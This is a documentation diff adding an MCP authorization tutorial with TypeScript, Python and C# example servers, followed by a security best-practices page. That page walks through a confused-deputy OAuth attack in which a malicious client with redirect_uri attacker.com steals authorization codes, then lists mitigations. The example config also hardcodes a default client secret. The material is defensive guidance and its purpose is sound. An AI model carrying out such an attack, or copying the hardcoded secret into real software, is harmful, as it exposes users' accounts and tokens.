+ verify: (req: any, _res, buf) => {
+ req.rawBody = buf?.toString() ?? "";
+ },
+ }),
+ );
+
+ app.use(
+ cors({
+ origin: "*",
+ exposedHeaders: ["Mcp-Session-Id"],
+ }),
+ );
+
+ app.use(createRequestLogger());
+
+ const mcpServerUrl = new URL(`http://${CONFIG.host}:${CONFIG.port}`);
+ const oauthUrls = createOAuthUrls();
+
+ const oauthMetadata: OAuthMetadata = {
+ ...oauthUrls,
+ response_types_supported: ["code"],
+ };
+
+ const tokenVerifier = {
+ verifyAccessToken: async (token: string) => {
+ const endpoint = oauthMetadata.introspection_endpoint;
+
+ if (!endpoint) {
+ console.error("[auth] no introspection endpoint in metadata");
+ throw new Error("No token verification endpoint available in metadata");
+ }
+
+ const params = new URLSearchParams({
+ token: token,
+ client_id: CONFIG.auth.clientId,
+ });
+
+ if (CONFIG.auth.clientSecret) {
+ params.set("client_secret", CONFIG.auth.clientSecret);
+ }
+
+ let response: Response;
+ try {
+ response = await fetch(endpoint, {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded",
+ },
+ body: params.toString(),
+ });
+ } catch (e) {
+ console.error("[auth] introspection fetch threw", e);
+ throw e;
+ }
+
+ if (!response.ok) {
+ const txt = await response.text();
+ console.error("[auth] introspection non-OK", { status: response.status });
+
+ try {
+ const obj = JSON.parse(txt);
+ console.log(JSON.stringify(obj, null, 2));
+ } catch {
+ console.error(txt);
+ }
+ throw new Error(`Invalid or expired token: ${txt}`);
+ }
+
+ let data: any;
+ try {
+ data = await response.json();
+ } catch (e) {
+ const txt = await response.text();
+ console.error("[auth] failed to parse introspection JSON", {
+ error: String(e),
+ body: txt,
+ });
+ throw e;
+ }
+
+ if (data.active === false) {
+ throw new Error("Inactive token");
+ }
+
+ if (!data.aud) {
+ throw new Error("Resource indicator (aud) missing");
+ }
+
+ const audiences: string[] = Array.isArray(data.aud) ? data.aud : [data.aud];
+ const allowed = audiences.some((a) =>
+ checkResourceAllowed({
+ requestedResource: a,
+ configuredResource: mcpServerUrl,
+ }),
+ );
+ if (!allowed) {
+ throw new Error(
+ `None of the provided audiences are allowed. Expected ${mcpServerUrl}, got: ${audiences.join(", ")}`,
+ );
+ }
+
+ return {
+ token,
+ clientId: data.client_id,
+ scopes: data.scope ? data.scope.split(" ") : [],
+ expiresAt: data.exp,
+ };
+ },
+ };
+ app.use(
+ mcpAuthMetadataRouter({
+ oauthMetadata,
+ resourceServerUrl: mcpServerUrl,
+ scopesSupported: ["mcp:tools"],
+ resourceName: "MCP Demo Server",
+ }),
+ );
+
+ const authMiddleware = requireBearerAuth({
+ verifier: tokenVerifier,
+ requiredScopes: [],
+ resourceMetadataUrl: getOAuthProtectedResourceMetadataUrl(mcpServerUrl),
+ });
+
+ const transports: { [sessionId: string]: StreamableHTTPServerTransport } = {};
+
+ function createMcpServer() {
+ const server = new McpServer({
+ name: "example-server",
+ version: "1.0.0",
+ });
+
+ server.registerTool(
+ "add",
+ {
+ title: "Addition Tool",
+ description: "Add two numbers together",
+ inputSchema: {
+ a: z.number().describe("First number to add"),
+ b: z.number().describe("Second number to add"),
+ },
+ },
+ async ({ a, b }) => ({
+ content: [{ type: "text", text: `${a} + ${b} = ${a + b}` }],
+ }),
+ );
+
+ server.registerTool(
+ "multiply",
+ {
+ title: "Multiplication Tool",
+ description: "Multiply two numbers together",
+ inputSchema: {
+ x: z.number().describe("First number to multiply"),
+ y: z.number().describe("Second number to multiply"),
+ },
+ },
+ async ({ x, y }) => ({
+ content: [{ type: "text", text: `${x} × ${y} = ${x * y}` }],
+ }),
+ );
+
+ return server;
+ }
+
+ const mcpPostHandler = async (req: express.Request, res: express.Response) => {
+ const sessionId = req.headers["mcp-session-id"] as string | undefined;
+ let transport: StreamableHTTPServerTransport;
+
+ if (sessionId && transports[sessionId]) {
+ transport = transports[sessionId];
+ } else if (!sessionId && isInitializeRequest(req.body)) {
+ transport = new StreamableHTTPServerTransport({
+ sessionIdGenerator: () => randomUUID(),
+ onsessioninitialized: (sessionId) => {
+ transports[sessionId] = transport;
+ },
+ });
+
+ transport.onclose = () => {
+ if (transport.sessionId) {
+ delete transports[transport.sessionId];
+ }
+ };
+
+ const server = createMcpServer();
+ await server.connect(transport);
+ } else {
+ res.status(400).json({
+ jsonrpc: "2.0",
+ error: {
+ code: -32000,
+ message: "Bad Request: No valid session ID provided",
+ },
+ id: null,
+ });
+ return;
+ }
+
+ await transport.handleRequest(req, res, req.body);
+ };
+
+ const handleSessionRequest = async (
+ req: express.Request,
+ res: express.Response,
+ ) => {
+ const sessionId = req.headers["mcp-session-id"] as string | undefined;
+ if (!sessionId || !transports[sessionId]) {
+ res.status(400).send("Invalid or missing session ID");
+ return;
+ }
+
+ const transport = transports[sessionId];
+ await transport.handleRequest(req, res);
+ };
+
+ app.post("/", authMiddleware, mcpPostHandler);
+ app.get("/", authMiddleware, handleSessionRequest);
+ app.delete("/", authMiddleware, handleSessionRequest);
+
+ app.listen(CONFIG.port, CONFIG.host, () => {
+ console.log(`🚀 MCP Server running on ${mcpServerUrl.origin}`);
+ console.log(`📡 MCP endpoint available at ${mcpServerUrl.origin}`);
+ console.log(
+ `🔐 OAuth metadata available at ${getOAuthProtectedResourceMetadataUrl(mcpServerUrl)}`,
+ );
+ });
+ ```
+
+ When you run the server, you can add it to your MCP client, such as Visual Studio Code, by providing the MCP server endpoint.
+
+ For more details about implementing MCP servers in TypeScript, refer to the [TypeScript SDK documentation](https://github.com/modelcontextprotocol/typescript-sdk).
+
+
+
+ You can see the complete Python project in the [sample repository](https://github.com/modelcontextprotocol/python-sdk/tree/main/examples/servers/simple-auth).
+
+ To simplify our authorization interaction, in Python scenarios we rely on [FastMCP](https://gofastmcp.com/getting-started/welcome). Many of the conventions around authorization, like the endpoints and token validation logic, are consistent across languages, but some offer simpler ways of integrating them in production scenarios.
+
+ Prior to writing the actual server, we need to set up our configuration in `config.py` - the contents are entirely based on your local server setup:
+
+ ```python theme={null}
+ """Configuration settings for the MCP auth server."""
+
+ import os
+ from typing import Optional
+
+
+ class Config:
+ """Configuration class that loads from environment variables with sensible defaults."""
+
+ # Server settings
+ HOST: str = os.getenv("HOST", "localhost")
+ PORT: int = int(os.getenv("PORT", "3000"))
+
+ # Auth server settings
+ AUTH_HOST: str = os.getenv("AUTH_HOST", "localhost")
+ AUTH_PORT: int = int(os.getenv("AUTH_PORT", "8080"))
+ AUTH_REALM: str = os.getenv("AUTH_REALM", "master")
+
+ # OAuth client settings
+ OAUTH_CLIENT_ID: str = os.getenv("OAUTH_CLIENT_ID", "mcp-server")
+ OAUTH_CLIENT_SECRET: str = os.getenv("OAUTH_CLIENT_SECRET", "UO3rmozkFFkXr0QxPTkzZ0LMXDidIikB")
+
+ # Server settings
+ MCP_SCOPE: str = os.getenv("MCP_SCOPE", "mcp:tools")
+ OAUTH_STRICT: bool = os.getenv("OAUTH_STRICT", "false").lower() in ("true", "1", "yes")
+ TRANSPORT: str = os.getenv("TRANSPORT", "streamable-http")
+
+ @property
+ def server_url(self) -> str:
+ """Build the server URL."""
+ return f"http://{self.HOST}:{self.PORT}"
+
+ @property
+ def auth_base_url(self) -> str:
+ """Build the auth server base URL."""
+ return f"http://{self.AUTH_HOST}:{self.AUTH_PORT}/realms/{self.AUTH_REALM}/"
+
+ def validate(self) -> None:
+ """Validate configuration."""
+ if self.TRANSPORT not in ["sse", "streamable-http"]:
+ raise ValueError(f"Invalid transport: {self.TRANSPORT}. Must be 'sse' or 'streamable-http'")
+
+
+ # Global configuration instance
+ config = Config()
+
+ ```
+
+ The server implementation is as follows:
+
+ ```python theme={null}
+ import datetime
+ import logging
+ from typing import Any
+
+ from pydantic import AnyHttpUrl
+
+ from mcp.server.auth.settings import AuthSettings
+ from mcp.server.fastmcp.server import FastMCP
+
+ from .config import config
+ from .token_verifier import IntrospectionTokenVerifier
+
+ logger = logging.getLogger(__name__)
+
+
+ def create_oauth_urls() -> dict[str, str]:
+ """Create OAuth URLs based on configuration (Keycloak-style)."""
+ from urllib.parse import urljoin
+
+ auth_base_url = config.auth_base_url
+
+ return {
+ "issuer": auth_base_url,
+ "introspection_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token/introspect"),
+ "authorization_endpoint": urljoin(auth_base_url, "protocol/openid-connect/auth"),
+ "token_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token"),
+ }
+
+
+ def create_server() -> FastMCP:
+ """Create and configure the FastMCP server."""
+
+ config.validate()
+
+ oauth_urls = create_oauth_urls()
+
+ token_verifier = IntrospectionTokenVerifier(
+ introspection_endpoint=oauth_urls["introspection_endpoint"],
+ server_url=config.server_url,
+ client_id=config.OAUTH_CLIENT_ID,
+ client_secret=config.OAUTH_CLIENT_SECRET,
+ )
+
+ app = FastMCP(
+ name="MCP Resource Server",
+ instructions="Resource Server that validates tokens via Authorization Server introspection",
+ host=config.HOST,
+ port=config.PORT,
+ debug=True,
+ streamable_http_path="/",
+ token_verifier=token_verifier,
+ auth=AuthSettings(
+ issuer_url=AnyHttpUrl(oauth_urls["issuer"]),
+ required_scopes=[config.MCP_SCOPE],
+ resource_server_url=AnyHttpUrl(config.server_url),
+ ),
+ )
+
+ @app.tool()
+ async def add_numbers(a: float, b: float) -> dict[str, Any]:
+ """
+ Add two numbers together.
+ This tool demonstrates basic arithmetic operations with OAuth authentication.
+
+ Args:
+ a: The first number to add
+ b: The second number to add
+ """
+ result = a + b
+ return {
+ "operation": "addition",
+ "operand_a": a,
+ "operand_b": b,
+ "result": result,
+ "timestamp": datetime.datetime.now().isoformat()
+ }
+
+ @app.tool()
+ async def multiply_numbers(x: float, y: float) -> dict[str, Any]:
+ """
+ Multiply two numbers together.
+ This tool demonstrates basic arithmetic operations with OAuth authentication.
+
+ Args:
+ x: The first number to multiply
+ y: The second number to multiply
+ """
+ result = x * y
+ return {
+ "operation": "multiplication",
+ "operand_x": x,
+ "operand_y": y,
+ "result": result,
+ "timestamp": datetime.datetime.now().isoformat()
+ }
+
+ return app
+
+
+ def main() -> int:
+ """
+ Run the MCP Resource Server.
+
+ This server:
+ - Provides RFC 9728 Protected Resource Metadata
+ - Validates tokens via Authorization Server introspection
+ - Serves MCP tools requiring authentication
+
+ Configuration is loaded from config.py and environment variables.
+ """
+ logging.basicConfig(level=logging.INFO)
+
+ try:
+ config.validate()
+ oauth_urls = create_oauth_urls()
+
+ except ValueError as e:
+ logger.error("Configuration error: %s", e)
+ return 1
+
+ try:
+ mcp_server = create_server()
+
+ logger.info("Starting MCP Server on %s:%s", config.HOST, config.PORT)
+ logger.info("Authorization Server: %s", oauth_urls["issuer"])
+ logger.info("Transport: %s", config.TRANSPORT)
+
+ mcp_server.run(transport=config.TRANSPORT)
+ return 0
+
+ except Exception:
+ logger.exception("Server error")
+ return 1
+
+
+ if __name__ == "__main__":
+ exit(main())
+ ```
+
+ Lastly, the token verification logic is delegated entirely to `token_verifier.py`, ensuring that we can use the Keycloak introspection endpoint to verify the validity of any credential artifacts
+
+ ```python theme={null}
+ """Token verifier implementation using OAuth 2.0 Token Introspection (RFC 7662)."""
+
+ import logging
+ from typing import Any
+
+ from mcp.server.auth.provider import AccessToken, TokenVerifier
+ from mcp.shared.auth_utils import check_resource_allowed, resource_url_from_server_url
+
+ logger = logging.getLogger(__name__)
+
+
+ class IntrospectionTokenVerifier(TokenVerifier):
+ """Token verifier that uses OAuth 2.0 Token Introspection (RFC 7662).
+ """
+
+ def __init__(
+ self,
+ introspection_endpoint: str,
+ server_url: str,
+ client_id: str,
+ client_secret: str,
+ ):
+ self.introspection_endpoint = introspection_endpoint
+ self.server_url = server_url
+ self.client_id = client_id
+ self.client_secret = client_secret
+ self.resource_url = resource_url_from_server_url(server_url)
+
+ async def verify_token(self, token: str) -> AccessToken | None:
+ """Verify token via introspection endpoint."""
+ import httpx
+
+ if not self.introspection_endpoint.startswith(("https://", "http://localhost", "http://127.0.0.1")):
+ return None
+
+ timeout = httpx.Timeout(10.0, connect=5.0)
+ limits = httpx.Limits(max_connections=10, max_keepalive_connections=5)
+
+ async with httpx.AsyncClient(
+ timeout=timeout,
+ limits=limits,
+ verify=True,
+ ) as client:
+ try:
+ form_data = {
+ "token": token,
+ "client_id": self.client_id,
+ "client_secret": self.client_secret,
+ }
+ headers = {"Content-Type": "application/x-www-form-urlencoded"}
+
+ response = await client.post(
+ self.introspection_endpoint,
+ data=form_data,
+ headers=headers,
+ )
+
+ if response.status_code != 200:
+ return None
+
+ data = response.json()
+ if not data.get("active", False):
+ return None
+
+ if not self._validate_resource(data):
+ return None
+
+ return AccessToken(
+ token=token,
+ client_id=data.get("client_id", "unknown"),
+ scopes=data.get("scope", "").split() if data.get("scope") else [],
+ expires_at=data.get("exp"),
+ resource=data.get("aud"), # Include resource in token
+ )
+
+ except Exception as e:
+ return None
+
+ def _validate_resource(self, token_data: dict[str, Any]) -> bool:
+ """Validate token was issued for this resource server.
+
+ Rules:
+ - Reject if 'aud' missing.
+ - Accept if any audience entry matches the derived resource URL.
+ - Supports string or list forms per JWT spec.
+ """
+ if not self.server_url or not self.resource_url:
+ return False
+
+ aud: list[str] | str | None = token_data.get("aud")
+ if isinstance(aud, list):
+ return any(self._is_valid_resource(a) for a in aud)
+ if isinstance(aud, str):
+ return self._is_valid_resource(aud)
+ return False
+
+ def _is_valid_resource(self, resource: str) -> bool:
+ """Check if the given resource matches our server."""
+ return check_resource_allowed(self.resource_url, resource)
+ ```
+
+ For more details, see the [Python SDK documentation](https://github.com/modelcontextprotocol/python-sdk).
+
+
+
+ You can see the complete C# project in the [sample repository](https://github.com/localden/min-cs-mcp-auth).
+
+ To set up authorization in your MCP server using the MCP C# SDK, you can lean on the standard ASP.NET Core builder pattern. Instead of using the introspection endpoint provided by Keycloak, we will use built-in ASP.NET Core capabilities for token validation.
+
+ ```csharp theme={null}
+ using Microsoft.AspNetCore.Authentication.JwtBearer;
+ using Microsoft.IdentityModel.Tokens;
+ using ModelContextProtocol.AspNetCore.Authentication;
+ using ProtectedMcpServer.Tools;
+ using System.Security.Claims;
+
+ var builder = WebApplication.CreateBuilder(args);
+
+ var serverUrl = "http://localhost:3000/";
+ var authorizationServerUrl = "http://localhost:8080/realms/master/";
+
+ builder.Services.AddAuthentication(options =>
+ {
+ options.DefaultChallengeScheme = McpAuthenticationDefaults.AuthenticationScheme;
+ options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme;
+ })
+ .AddJwtBearer(options =>
+ {
+ options.Authority = authorizationServerUrl;
+ var normalizedServerAudience = serverUrl.TrimEnd('/');
+ options.TokenValidationParameters = new TokenValidationParameters
+ {
+ ValidIssuer = authorizationServerUrl,
+ ValidAudiences = new[] { normalizedServerAudience, serverUrl },
+ AudienceValidator = (audiences, securityToken, validationParameters) =>
+ {
+ if (audiences == null) return false;
+ foreach (var aud in audiences)
+ {
+ if (string.Equals(aud.TrimEnd('/'), normalizedServerAudience, StringComparison.OrdinalIgnoreCase))
+ {
+ return true;
+ }
+ }
+ return false;
+ }
+ };
+
+ options.RequireHttpsMetadata = false; // Set to true in production
+
+ options.Events = new JwtBearerEvents
+ {
+ OnTokenValidated = context =>
+ {
+ var name = context.Principal?.Identity?.Name ?? "unknown";
+ var email = context.Principal?.FindFirstValue("preferred_username") ?? "unknown";
+ Console.WriteLine($"Token validated for: {name} ({email})");
+ return Task.CompletedTask;
+ },
+ OnAuthenticationFailed = context =>
+ {
+ Console.WriteLine($"Authentication failed: {context.Exception.Message}");
+ return Task.CompletedTask;
+ },
+ };
+ })
+ .AddMcp(options =>
+ {
+ options.ResourceMetadata = new()
+ {
+ Resource = new Uri(serverUrl),
+ ResourceDocumentation = new Uri("https://docs.example.com/api/math"),
+ AuthorizationServers = { new Uri(authorizationServerUrl) },
+ ScopesSupported = ["mcp:tools"]
+ };
+ });
+
+ builder.Services.AddAuthorization();
+
+ builder.Services.AddHttpContextAccessor();
+ builder.Services.AddMcpServer()
+ .WithTools()
+ .WithHttpTransport();
+
+ var app = builder.Build();
+
+ app.UseAuthentication();
+ app.UseAuthorization();
+
+ app.MapMcp().RequireAuthorization();
+
+ Console.WriteLine($"Starting MCP server with authorization at {serverUrl}");
+ Console.WriteLine($"Using Keycloak server at {authorizationServerUrl}");
+ Console.WriteLine($"Protected Resource Metadata URL: {serverUrl}.well-known/oauth-protected-resource");
+ Console.WriteLine("Exposed Math tools: Add, Multiply");
+ Console.WriteLine("Press Ctrl+C to stop the server");
+
+ app.Run(serverUrl);
+ ```
+
+ For more details, see the [C# SDK documentation](https://github.com/modelcontextprotocol/csharp-sdk).
+
+
+
+## Testing the MCP Server
+
+For testing purposes, we will be using [Visual Studio Code](https://code.visualstudio.com), but any client that supports MCP and the new authorization specification will fit.
+
+Press Cmd + Shift + P and select **MCP: Add server...**. Select **HTTP** and enter `http://localhost:3000`. Give the server a unique name to be used inside Visual Studio Code. In `mcp.json` you should now see an entry like this:
+
+```json theme={null}
+"my-mcp-server-18676652": {
+ "url": "http://localhost:3000",
+ "type": "http"
+}
+```
+
+On connection, you will be taken to the browser, where you will be prompted to consent to Visual Studio Code having access to the `mcp:tools` scope.
+
+
+
+
+
+After consenting, you will see the tools listed right above the server entry in `mcp.json`.
+
+
+
+
+
+You will be able to invoke individual tools with the help of the `#` sign in the chat view.
+
+
+
+
+
+## Common Pitfalls and How to Avoid Them
+
+For comprehensive security guidance, including attack vectors, mitigation strategies, and implementation best practices, make sure to read through [Security Best Practices](/docs/2025-06-18/tutorials/security/security_best_practices). A few key issues are called out below.
+
+* **Do not implement token validation or authorization logic by yourself**. Use off-the-shelf, well-tested, and secure libraries for things like token validation or authorization decisions. Doing everything from scratch means that you're more likely to implement things incorrectly unless you are a security expert.
+* **Use short-lived access tokens**. Depending on the authorization server used, this setting might be customizable. We recommend to not use long-lived tokens - if a malicious actor steals them, they will be able to maintain their access for longer periods.
+* **Always validate tokens**. Just because your server received a token does not mean that the token is valid or that it's meant for your server. Always verify that what your MCP server is getting from the client matches the required constraints.
+* **Store tokens in secure, encrypted storage**. In certain scenarios, you might need to cache tokens server-side. If that is the case, ensure that the storage has the right access controls and cannot be easily exfiltrated by malicious parties with access to your server. You should also implement robust cache eviction policies to ensure that your MCP server is not re-using expired or otherwise invalid tokens.
+* **Enforce HTTPS in production**. Do not accept tokens or redirect callbacks over plain HTTP except for `localhost` during development.
+* **Least-privilege scopes**. Don't use catch‑all scopes. Split access per tool or capability where possible and verify required scopes per route/tool on the resource server.
+* **Don't log credentials**. Never log `Authorization` headers, tokens, codes, or secrets. Scrub query strings and headers. Redact sensitive fields in structured logs.
+* **Separate app vs. resource server credentials**. Don't reuse your MCP server's client secret for end‑user flows. Store all secrets in a proper secret manager, not in source control.
+* **Return proper challenges**. On 401, include `WWW-Authenticate` with `Bearer`, `realm`, and `resource_metadata` so clients can discover how to authenticate.
+* **DCR (Dynamic Client Registration) controls**. If enabled, be aware of constraints specific to your organization, such as trusted hosts, required vetting, and audited registrations. Unauthenticated DCR means that anyone can register any client with your authorization server.
+* **Multi‑tenant/realm mix-ups**. Pin to a single issuer/tenant unless explicitly multi‑tenant. Reject tokens from other realms even if signed by the same authorization server.
+* **Audience/resource indicator misuse**. Don't configure or accept generic audiences (like `api`) or unrelated resources. Require the audience/resource to match your configured server.
+* **Error detail leakage**. Return generic messages to clients, but log detailed reasons with correlation IDs internally to aid troubleshooting without exposing internals.
+* **Session identifier hardening**. Treat `Mcp-Session-Id` as untrusted input; never tie authorization to it. Regenerate on auth changes and validate lifecycle server‑side.
+
+## Related Standards and Documentation
+
+MCP authorization builds on these well-established standards:
+
+* **[OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13)**: The core authorization framework
+* **[RFC 8414](https://datatracker.ietf.org/doc/html/rfc8414)**: Authorization Server Metadata discovery
+* **[RFC 7591](https://datatracker.ietf.org/doc/html/rfc7591)**: Dynamic Client Registration
+* **[RFC 9728](https://datatracker.ietf.org/doc/html/rfc9728)**: Protected Resource Metadata
+* **[RFC 8707](https://datatracker.ietf.org/doc/html/rfc8707)**: Resource Indicators
+
+For additional details, refer to:
+
+* [Authorization Specification](/specification/2025-06-18/basic/authorization)
+* [Security Best Practices](/docs/2025-06-18/tutorials/security/security_best_practices)
+* [Available MCP SDKs](/docs/2025-06-18/sdk)
+
+Understanding these standards will help you implement authorization correctly and troubleshoot issues when they arise.
diff --git a/content/mcp/docs/2025-06-18/tutorials/security/security_best_practices.md b/content/mcp/docs/2025-06-18/tutorials/security/security_best_practices.md
new file mode 100644
index 000000000..1e37d903d
--- /dev/null
+++ b/content/mcp/docs/2025-06-18/tutorials/security/security_best_practices.md
@@ -0,0 +1,901 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Security Best Practices
+
+> Security considerations, attack vectors, and best practices for MCP implementations
+
+## Introduction
+
+### Purpose and Scope
+
+This document provides security considerations for the Model Context
+Protocol (MCP), complementing the
+[MCP Authorization](/specification/2025-06-18/basic/authorization)
+specification. This document identifies security risks, attack vectors,
+and best practices specific to MCP implementations.
+
+The primary audience for this document includes developers implementing
+MCP authorization flows, MCP server operators, and security
+professionals evaluating MCP-based systems. This document should be read
+alongside the MCP Authorization specification and
+[OAuth 2.0 security best practices](https://datatracker.ietf.org/doc/html/rfc9700).
+
+## Attacks and Mitigations
+
+This section gives a detailed description of attacks on MCP
+implementations, along with potential countermeasures.
+
+### Confused Deputy Problem
+
+Attackers can exploit MCP proxy servers that connect to third-party
+APIs, creating
+"[confused deputy](https://en.wikipedia.org/wiki/Confused_deputy_problem)"
+vulnerabilities. This attack allows malicious clients to obtain
+authorization codes without proper user consent by exploiting the
+combination of static client IDs, dynamic client registration, and
+consent cookies.
+
+#### Terminology
+
+**MCP Proxy Server**
+: An MCP server that connects MCP clients to third-party APIs, offering
+MCP features while delegating operations and acting as a single OAuth
+client to the third-party API server.
+
+**Third-Party Authorization Server**
+: Authorization server that protects the third-party API. It may lack
+dynamic client registration support, requiring the MCP proxy to use a
+static client ID for all requests.
+
+**Third-Party API**
+: The protected resource server that provides the actual API
+functionality. Access to this API requires tokens issued by the
+third-party authorization server.
+
+**Static Client ID**
+: A fixed OAuth 2.0 client identifier used by the MCP proxy server when
+communicating with the third-party authorization server. This Client ID
+refers to the MCP server acting as a client to the Third-Party API. It
+is the same value for all MCP server to Third-Party API interactions
+regardless of which MCP client initiated the request.
+
+#### Vulnerable Conditions
+
+This attack becomes possible when all of the following conditions are
+present:
+
+* MCP proxy server uses a **static client ID** with a third-party
+ authorization server
+* MCP proxy server allows MCP clients to **dynamically register** (each
+ getting their own client\_id)
+* The third-party authorization server sets a **consent cookie** after
+ the first authorization
+* MCP proxy server does not implement proper per-client consent before
+ forwarding to third-party authorization
+
+#### Architecture and Attack Flows
+
+##### Normal OAuth proxy usage (preserves user consent)
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UA as User-Agent (Browser)
+ participant MC as MCP Client
+ participant M as MCP Proxy Server
+ participant TAS as Third-Party Authorization Server
+
+ Note over UA,M: Initial Auth flow completed
+
+ Note over UA,TAS: Step 1: Legitimate user consent for Third Party Server
+
+ M->>UA: Redirect to third party authorization server
+ UA->>TAS: Authorization request (client_id: mcp-proxy)
+ TAS->>UA: Authorization consent screen
+ Note over UA: Review consent screen
+ UA->>TAS: Approve
+ TAS->>UA: Set consent cookie for client ID: mcp-proxy
+ TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
+ UA->>M: 3P Authorization code
+ Note over M,TAS: Exchange 3P code for 3P token
+ Note over M: Generate MCP authorization code
+ M->>UA: Redirect to MCP Client with MCP authorization code
+
+ Note over M,UA: Exchange code for token, etc.
+```
+
+##### Malicious OAuth proxy usage (skips user consent)
+
+```mermaid theme={null}
+sequenceDiagram
+ participant UA as User-Agent (Browser)
+ participant M as MCP Proxy Server
+ participant TAS as Third-Party Authorization Server
+ participant A as Attacker
+
+
+ Note over UA,A: Step 2: Attack (leveraging existing cookie, skipping consent)
+ A->>M: Dynamically register malicious client, redirect_uri: attacker.com
+ A->>UA: Sends malicious link
+ UA->>TAS: Authorization request (client_id: mcp-proxy) + consent cookie
+ rect rgba(255, 17, 0, 0.67)
+ TAS->>TAS: Cookie present, consent skipped
+ end
+
+ TAS->>UA: 3P Authorization code + redirect to mcp-proxy-server.com
+ UA->>M: 3P Authorization code
+ Note over M,TAS: Exchange 3P code for 3P token
+ Note over M: Generate MCP authorization code
+ M->>UA: Redirect to attacker.com with MCP Authorization code
+ UA->>A: MCP Authorization code delivered to attacker.com
+ Note over M,A: Attacker exchanges MCP code for MCP token
+ A->>M: Attacker impersonates user to MCP server
+```
+
+#### Attack Description
+
+When an MCP proxy server uses a static client ID to authenticate with
+a third-party authorization server, the following attack becomes
+possible:
+
+1. A user authenticates normally through the MCP proxy server to access
+ the third-party API
+2. During this flow, the third-party authorization server sets a cookie
+ on the user agent indicating consent for the static client ID
+3. An attacker later sends the user a malicious link containing a
+ crafted authorization request which contains a malicious redirect URI
+ along with a new dynamically registered client ID
+4. When the user clicks the link, their browser still has the consent
+ cookie from the previous legitimate request
+5. The third-party authorization server detects the cookie and skips the
+ consent screen
+6. The MCP authorization code is redirected to the attacker's server
+ (specified in the malicious `redirect_uri` parameter during
+ [dynamic client registration](/specification/2025-06-18/basic/authorization#dynamic-client-registration))
+7. The attacker exchanges the stolen authorization code for access
+ tokens for the MCP server without the user's explicit approval
+8. The attacker now has access to the third-party API as the compromised
+ user
+
+#### Mitigation
+
+To prevent confused deputy attacks, MCP proxy servers **MUST** implement
+per-client consent and proper security controls as detailed below.
+
+##### Consent Flow Implementation
+
+The following diagram shows how to properly implement per-client consent
+that runs **before** the third-party authorization flow:
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Client as MCP Client
+ participant Browser as User's Browser
+ participant MCP as MCP Server
+ participant ThirdParty as Third-Party AuthZ Server
+
+ Note over Client,ThirdParty: 1. Client Registration (Dynamic)
+ Client->>MCP: Register with redirect_uri
+ MCP-->>Client: client_id
+
+ Note over Client,ThirdParty: 2. Authorization Request
+ Client->>Browser: Open MCP server authorization URL
+ Browser->>MCP: GET /authorize?client_id=...&redirect_uri=...
+
+ alt Check MCP Server Consent
+ MCP->>MCP: Check consent for this client_id
+ Note over MCP: Not previously approved
+ end
+
+ MCP->>Browser: Show MCP server-owned consent page
+ Note over Browser: "Allow [Client Name] to access [Third-Party API]?"
+ Browser->>MCP: POST /consent (approve)
+ MCP->>MCP: Store consent decision for client_id
+
+ Note over Client,ThirdParty: 3. Forward to Third-Party
+ MCP->>Browser: Redirect to third-party /authorize
+ Note over MCP: Use static client_id for third-party
+
+ Browser->>ThirdParty: Authorization request (static client_id)
+ ThirdParty->>Browser: User authenticates & consents
+ ThirdParty->>Browser: Redirect with auth code
+
+ Browser->>MCP: Callback with third-party code
+ MCP->>ThirdParty: Exchange code for token (using static client_id)
+ MCP->>Browser: Redirect to client's registered redirect_uri
+```
+
+##### Required Protections
+
+**Per-Client Consent Storage**
+
+MCP proxy servers **MUST**:
+
+* Maintain a registry of approved `client_id` values per user
+* Check this registry **before** initiating the third-party
+ authorization flow
+* Store consent decisions securely (server-side database, or server
+ specific cookies)
+
+**Consent UI Requirements**
+
+The MCP-level consent page **MUST**:
+
+* Clearly identify the requesting MCP client by name
+* Display the specific third-party API scopes being requested
+* Show the registered `redirect_uri` where tokens will be sent
+* Implement CSRF protection (e.g., state parameter, CSRF tokens)
+* Prevent iframing via `frame-ancestors` CSP directive or
+ `X-Frame-Options: DENY` to prevent clickjacking
+
+**Consent Cookie Security**
+
+If using cookies to track consent decisions, they **MUST**:
+
+* Use `__Host-` prefix for cookie names
+* Set `Secure`, `HttpOnly`, and `SameSite=Lax` attributes
+* Be cryptographically signed or use server-side sessions
+* Bind to the specific `client_id` (not just "user has consented")
+
+**Redirect URI Validation**
+
+The MCP proxy server **MUST**:
+
+* Validate that the `redirect_uri` in authorization requests exactly
+ matches the registered URI
+* Reject requests if the `redirect_uri` has changed without
+ re-registration
+* Use exact string matching (not pattern matching or wildcards)
+
+**OAuth State Parameter Validation**
+
+The OAuth `state` parameter is critical to prevent authorization code
+interception and CSRF attacks. Proper state validation ensures that
+consent approval at the authorization endpoint is enforced at the
+callback endpoint.
+
+MCP proxy servers implementing OAuth flows **MUST**:
+
+* Generate a cryptographically secure random `state` value for each
+ authorization request
+* Store the `state` value server-side (in a secure session store or
+ encrypted cookie) **only after** consent has been explicitly approved
+* Set the `state` tracking cookie/session **immediately before**
+ redirecting to the third-party identity provider (not before consent
+ approval)
+* Validate at the callback endpoint that the `state` query parameter
+ exactly matches the stored value in the callback request's cookies or
+ in the request's cookie-based session
+* Reject any callback requests where the `state` parameter is missing
+ or does not match
+* Ensure `state` values are single-use (delete after validation) and
+ have a short expiration time (e.g., 10 minutes)
+
+The consent cookie or session containing the `state` value **MUST NOT**
+be set until **after** the user has approved the consent screen at the
+MCP server's authorization endpoint. Setting this cookie before consent
+approval renders the consent screen ineffective, as an attacker could
+bypass it by crafting a malicious authorization request.
+
+### Token Passthrough
+
+"Token passthrough" is an anti-pattern where an MCP server accepts
+tokens from an MCP client without validating that the tokens were
+properly issued *to the MCP server* and passes them through to the
+downstream API.
+
+#### Risks
+
+Token passthrough is explicitly forbidden in the
+[authorization specification](/specification/2025-06-18/basic/authorization)
+as it introduces a number of security risks, that include:
+
+* **Security Control Circumvention**
+ * The MCP Server or downstream APIs might implement important security
+ controls like rate limiting, request validation, or traffic
+ monitoring, that depend on the token audience or other credential
+ constraints. If clients can obtain and use tokens directly with the
+ downstream APIs without the MCP server validating them properly or
